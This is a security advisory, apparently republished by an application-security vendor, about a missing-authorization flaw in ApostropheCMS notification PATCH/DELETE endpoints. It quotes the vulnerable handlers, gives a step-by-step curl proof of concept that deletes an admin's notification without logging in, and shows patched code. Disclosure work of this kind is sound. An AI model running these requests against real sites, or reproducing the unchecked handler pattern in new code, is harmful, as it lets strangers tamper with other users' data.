Summary
ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints
The notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.
As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.
Affected Code
File
packages/apostrophe/modules/@apostrophecms/notification/index.js
// restApiRoutes
async patch(req, _id) {
const dismissed = self.apos.launder.boolean(req.body.dismissed);
if (dismissed) {
await self.emit('beforeSave', req, { _id, dismissed });
await self.db.updateOne(
{ _id },
{
$set: { dismissed },
$currentDate: { updatedAt: true }
}
);
}
},
async delete(req, _id) {
await self.db.deleteMany({ _id });
}
Unlike the GET notification route, these handlers do not verify:
- Authentication (
req.user) - Ownership (
userId === req.user._id) - Authorization or permissions
Instead, the supplied _id is used directly against the raw MongoDB collection.
Root Cause
The notification REST endpoints perform database operations directly using self.db without enforcing authentication or authorization.
While the framework provides permission primitives (req.user, ownership checks, and apos.permission), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.
For comparison, the GET notification route correctly checks:
if (!(req.user && req.user._id)) {
throw self.apos.error('invalid');
}
No equivalent validation exists in the PATCH or DELETE handlers.
Proof of Concept
1. Log in as an administrator
curl -sS -c admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null
curl -sS \
-b admin_cookies.txt \
-c admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
"username":"admin",
"password":"AdminP@ssw0rd123!",
"session":true
}'
2. Create a notification
curl -sS \
-b admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/notification \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
"message":"manual verify test",
"type":"info"
}'
Example response:
{
"noteId":"p358r7phi2w8l245ww5130uf"
}
3. Verify the notification exists
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"
Response:
{
"notifications":[
{
"_id":"p358r7phi2w8l245ww5130uf",
"userId":"i89h844o5n3nbreis0ugusum",
"message":"manual verify test"
}
],
"dismissed":[]
}
4. Access the endpoint without authentication
Create a fresh cookie jar containing only the public CSRF cookie:
rm -f anon_cookies.txt
curl -sS \
-c anon_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null
Then send the request without any authenticated session:
curl -i \
-b anon_cookies.txt \
-X DELETE \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \
-H "X-XSRF-TOKEN: csrf"
Response:
HTTP/1.1 200 OK
5. Verify the notification has been deleted
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"
Response:
{
"notifications":[],
"dismissed":[]
}
The notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.
Recommendation
Every notification modification endpoint should:
- Require authentication.
- Verify ownership (
userId === req.user._id). - Return
403 Forbiddenfor unauthorized requests. - Avoid performing database operations solely using a user-controlled
_id.
The same authorization checks should also be applied to any internal helper methods (such as dismiss()) that modify notification state.
Impact
An attacker who obtains a valid notification ID can:
- Delete another user's notifications.
- Mark another user's notifications as dismissed.
- Suppress security-related or administrative notifications.
The vulnerability primarily affects integrity.
Although notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable.
The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.
CVE-2026-113665 has a CVSS score of 3.7 (Low). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.33.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Require authentication before processing any modification request.
Additionally, scope all database operations to the authenticated user.
Example:
// patch
async patch(req, _id) {
if (!req.user) {
throw self.apos.error('forbidden');
}
const dismissed = self.apos.launder.boolean(req.body.dismissed);
if (dismissed) {
await self.emit('beforeSave', req, { _id, dismissed });
const result = await self.db.updateOne(
{ _id, userId: req.user._id }, // <-- ownership check
{ $set: { dismissed }, $currentDate: { updatedAt: true } }
);
if (!result.matchedCount) {
throw self.apos.error('notfound');
}
}
},
// delete
async delete(req, _id) {
if (!req.user) {
throw self.apos.error('forbidden');
}
const result = await self.db.deleteMany({ _id, userId: req.user._id });
if (!result.deletedCount) {
throw self.apos.error('notfound');
}
}
Similarly, update the PATCH handler to verify both authentication and ownership before updating notification records.
Frequently Asked Questions
- What is CVE-2026-113665? CVE-2026-113665 is a low-severity missing authorization vulnerability in apostrophe (npm), affecting versions < 4.33.0. It is fixed in 4.33.0. The application does not perform an authorization check before performing a sensitive operation.
- How severe is CVE-2026-113665? CVE-2026-113665 has a CVSS score of 3.7 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of apostrophe are affected by CVE-2026-113665? apostrophe (npm) versions < 4.33.0 is affected.
- Is there a fix for CVE-2026-113665? Yes. CVE-2026-113665 is fixed in 4.33.0. Upgrade to this version or later.
- Is CVE-2026-113665 exploitable, and should I be worried? Whether CVE-2026-113665 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-113665 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-113665? Upgrade
apostropheto 4.33.0 or later.